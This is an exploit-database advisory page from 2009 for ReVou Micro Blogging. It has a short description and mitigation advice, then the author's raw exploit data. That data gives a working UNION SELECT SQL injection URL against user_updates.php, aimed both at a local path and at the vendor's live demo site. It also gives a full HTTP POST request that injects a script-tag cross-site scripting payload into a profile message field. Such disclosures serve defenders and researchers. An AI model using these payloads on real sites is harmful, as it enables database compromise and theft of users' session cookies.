ReVou Micro Blogging SQL/XSS Injection Vulnerability

vendor:

Micro Blogging

by:

nuclear

7.5

CVSS

HIGH

SQL/XSS Injection

89, 79

CWE

Product Name: Micro Blogging

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ReVou Micro Blogging SQL/XSS Injection Vulnerability

ReVou Micro Blogging is prone to an SQL injection vulnerability and a cross-site scripting vulnerability. An attacker can exploit these issues to manipulate SQL queries, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The SQL injection issue is due to a failure of the application to properly sanitize user-supplied input before using it in an SQL query. The cross-site scripting issue is due to a failure of the application to properly sanitize user-supplied input before using it in dynamically generated web content.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically construct SQL queries. Additionally, input validation should be used to ensure that untrusted data is not used to dynamically generate web content. It is also possible to use a web application firewall to detect and block SQL injection and cross-site scripting attacks.

Source

Exploit-DB raw data:

#ReVou Micro Blogging SQL/XSS Injection Vulnerability


#Author: nuclear


#site:
http://www.revou.com/index.php


#SQL vuln:
http://localhost/[path]/user_updates.php?user=test21' UNION SELECT 1,2,3,4,@@version,6,7,8/*

#demo:
http://www.revou.com/demo/rss/user_updates.php?user=test21%27%20UNION%20SELECT%201,2,3,4,@@version,6,7,8/*


#XSS vuln:
POST /demo/profile/test HTTP/1.1
Host: www.revou.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.revou.com/demo/profile/test
Cookie: cookieid=c74884b47660610d8bbab35e0605f258; __utma=220501147.1119512335.1233273058.1233273058.1233273058.1; __utmb=220501147; __utmc=220501147; __utmz=220501147.1233273058.1.1.utmccn=(referral)|utmcsr=alstrasoft.com|utmcct=/products.htm|utmcmd=referral; PHPSESSID=02eb3297bbec0b429d06f5a083f55673
Content-Type: multipart/form-data; boundary=---------------------------3726301281829306375575822139
Content-Length: 598

-----------------------------3726301281829306375575822139
Content-Disposition: form-data; name="message"

<script>alert("XSS")</script>
-----------------------------3726301281829306375575822139
Content-Disposition: form-data; name="add_photo"; filename=""
Content-Type: application/octet-stream


-----------------------------3726301281829306375575822139
Content-Disposition: form-data; name="user"

test
-----------------------------3726301281829306375575822139
Content-Disposition: form-data; name="add_message"

Send
-----------------------------3726301281829306375575822139--



#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar

# milw0rm.com [2009-01-30]